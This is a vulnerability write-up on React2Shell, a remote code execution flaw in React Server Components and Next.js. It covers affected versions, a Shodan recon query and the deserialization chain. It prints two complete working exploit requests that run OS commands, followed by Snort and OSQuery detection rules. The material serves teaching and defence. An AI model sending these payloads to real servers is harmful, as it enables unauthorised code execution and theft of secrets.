React2Shell

Scanning/Recon
Shodan Search: "Vary: RSC, Next-Router-State-Tree"

Affected Versions

Next.js

Current Version	Patched Version
15.0.0 – 15.0.4	15.0.5
15.1.0 – 15.1.8	15.1.9
15.2.0 – 15.2.5	15.2.6
15.3.0 – 15.3.5	15.3.6
15.4.0 – 15.4.7	15.4.8
15.5.0 – 15.5.6	15.5.7
16.0.0 – 16.0.6	16.0.7
15.x canaries	15.6.0-canary.58
16.x canaries	16.1.0-canary.12
14.3.0-canary.77+	Downgrade to 14.3.0-canary.76 or upgrade to 15.0.5

React RSC Packages

Current Version	Patched Version
19.0.0	19.0.1
19.1.0, 19.1.1	19.1.2
19.2.0	19.2.1

Vulnerability Details:

The communication between the server and client in RSC relies on a protocol called **React Flight**. This protocol handles the serialisation and deserialisation of data being transmitted between the server and client. When a client needs to invoke a server-side function (called a "Server Action"), it sends a specially formatted request containing serialised data that the server deserialises and processes.

The Flight protocol uses a specific serialisation format with type markers. For example:

- `$@` denotes a chunk reference
- `$B` denotes a Blob reference
- References can include property paths using colon separation (e.g., `$1:constructor:constructor`)

This serialisation mechanism is where the vulnerability lies. The server processes these references without properly validating that the requested properties are legitimate exports from the intended module.

Core Vulnerability Points

CVE-2025-55182 is fundamentally an **unsafe deserialization vulnerability** in how React Server Components handle incoming Flight protocol payloads. The vulnerability exists in the `requireModule` function within the `react-server-dom-webpack` package. Let's examine the problematic code pattern:

```
function requireModule(metadata) {
 var moduleExports = __webpack_require__(metadata[0]);
 // ... additional logic ...
 return moduleExports[metadata[2]];  // VULNERABLE LINE
}
```

The critical flaw is in the bracket notation access `moduleExports[metadata[2]]`. In JavaScript, when we access a property using bracket notation, the engine doesn't just check the object's own properties—it traverses the entire prototype chain. This means an attacker can reference properties that weren't explicitly exported by the module.

Most importantly, every JavaScript function has a `constructor` property that points to the `Function` constructor. By accessing `someFunction.constructor`, an attacker obtains a reference to the global `Function` constructor, which can execute arbitrary JavaScript code when invoked with a string argument.

The vulnerability becomes exploitable because React's Flight protocol allows clients to specify these property paths through the colon-separated reference syntax. An attacker can craft a reference like `$1:constructor:constructor` which traverses:

1. Get chunk/module 1
2. Access its `.constructor` property (gets the Function constructor)
3. Access `.constructor` again (still the Function constructor, but confirms the chain).

Exploitation chain

Now let's dissect how maple3142's proof-of-concept achieves remote code execution. The exploit cleverly chains together multiple JavaScript engine behaviours to transform a deserialization bug into arbitrary code execution.

Stage 1: Creating a Fake Chunk Object

The exploit begins by sending a multipart form request with three fields. The first field contains a carefully crafted fake chunk object:

```
{
 "then": "$1:__proto__:then",
 "status": "resolved_model",
 "reason": -1,
 "value": "{\\"then\\":\\"$B1337\\"}",
 "_response": {
   "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
   "_chunks": "$Q2",
   "_formData": {
     "get": "$1:constructor:constructor"
   }
 }
}
```

This object mimics React's internal `Chunk` class structure. By setting `then` to reference `Chunk.prototype.then`, we're creating a self-referential structure. When React processes this and awaits the chunk, it invokes the `then` method with the fake chunk as the context (`this`).

Stage 2: Exploiting the Blob Deserialization Handler

The second critical component is the `$B` handler reference (`$B1337`). In React's Flight protocol, the `$B` prefix indicates a Blob reference. When React processes a Blob reference, it calls a function that internally uses `response._formData.get(response._prefix + id)`.

Here's where the exploitation becomes elegant: we've polluted the `_response` object with our malicious properties. When the Blob handler executes:

```
response._formData.get(response._prefix + id)
```

It actually executes:

```
Function("process.mainModule.require('child_process').execSync('xcalc');1337")
```

Let's break down why: we've set `_formData.get` to point to `$1:constructor:constructor`, which resolves to the `Function` constructor. The `_prefix` contains our malicious code. When these are combined, the `Function` constructor is invoked with our code as a string argument, creating and implicitly executing a function containing our arbitrary JavaScript.

Stage 3: Achieving Code Execution

The payload `process.mainModule.require('child_process').execSync('xcalc')` demonstrates the power of this exploit. We're using Node.js's module system to:

1. Access `process.mainModule` (the main module being executed)
2. Use its `require` method to load the `child_process` module
3. Call `execSync` to execute an operating system command
4. In this case, launching the calculator application (`xcalc`) as proof of exploitation

This could easily be modified to establish a reverse shell, exfiltrate environment variables containing secrets, read sensitive files, or perform any operation the Node.js process has permissions to execute.

POC

Let's examine the complete HTTP request from maple3142's PoC:

```
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":
{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":
{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
```

The `Next-Action: x` header triggers React's Server Action processing. The multipart body contains three parts:

- **Field 0**: The fake chunk object with our malicious `_response` structure
- **Field 1**: A reference `$@0` that points back to field 0, creating the self-reference
- **Field 2**: An empty array, completing the required structure

When the server processes this request, it deserialises field 0, encounters the $@0 reference in field 1, establishes the self-referential then property, and subsequently triggers the Blob handler, which executes our code through the `Function` constructor.

Exploitation

```
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw
Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
```

```
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
```

Detection

Fortunately for us defenders, this specific vulnerability requires interacting within React & React Server Components (RCS) within a specific format and structure. Regular user browing activity will not have specific headers and values within their HTTP(S) request that is required for exploiting this vulnerability.

For example, the Next-Action and multipart/form-data are an incredibly specific query and payload for the React Server Component Flight protocol. We will almost never see a regular/legitimate user providing this within their query, and the payload for the vulnerabilitiy must have certain elements:

- Next-Action `header`.
- `multipart/form-data`.
- Elements within form-data with elements such as `"status": "reserved_model"` within the payload.
- For reference, detecting the presence of `"then":"$1:__proto__:then"` within the payload is an extremely good indicator that React Server Components are being used. This should almost never be seen externally, but rather, within the application itself at a push.

Due to how exploitation of this vulnerability works, we can expect a certain pattern within the HTTP(S) request. Therefore, for monitoring and dection, rather than specifically inspecting the payload, we can rather monitor the format of the request.

Snort (v3)

To detect this vulnerability using Snort, we can use the following rule:

```
alert http any any -> $LAN_NETWORK any (
    msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
    flow:to_server,established;
    content:"Next-Action"; http_header; nocase;
    content:"multipart/form-data"; http_header; nocase;
    pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
    pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
    pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
    classtype:web-application-attack
    sid:6655001;
    rev:1;
)
```

At a summary, this snort rule:

- Listens for specific headers within the request, that aren't usually generated by regular user traffic.
- Detects multipart/form-data where RSCs do not regularly use. Payloads for this vulnerability need to follow a certain specification for the exploit to be processed - we can detect this. For example, the `name="0"` element.

OSQuery

We can use the following OSQuery rule to detect vulnerable versions of React Server Components within an endpoint or anything within the CI/CD build process:

```
{
  "queries": {
    "detect_rev2shell_react_server_components": {
      "query": "SELECT name, version, path FROM npm_packages WHERE (name='react-server-dom-parcel' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-turbopack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0')) OR (name='react-server-dom-webpack' AND (version='19.0.0' OR (version >= '19.1.0' AND version < '19.1.2') OR version='19.2.0'));",
      "interval": 3600,
      "description": "Detects vulnerable versions of React Server Components packages (react-server-dom-*) affected by CVE-2025-55182 / CVE-2025-66478 / React2Shell.",
      "platform": "linux,windows,macos",
      "version": "1.0"
    }
  }
}
```

At a summary, this OSQuery rule:

- Detects if vulnerable packages are used within an endpoint: react-server-dom-parcel, react-server-dom-turbopack, react-server-dom-webpack.
- If present, checks the installed versions of these packages compared to vulnerable versions (I.e. 19.0.0, >= 19.1.0 / 19.2.0).

The benefit of this OSQuery rule is that we can search and determine for vulnerable versions across endpoints, rather hosted, or as part of the build or development process, before it even reaches production.

Vulnerable Libraries:

```json
  "dependencies": {
    "next": "16.0.6",
    "pm2": "^6.0.14",
    "react": "19.2.0",
    "react-dom": "19.2.0"
  }
```

https://tryhackme.com/room/offensivesecurityintro
https://github.com/lachlan2k/React2Shell-CVE-2025-55182-original-poc
https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478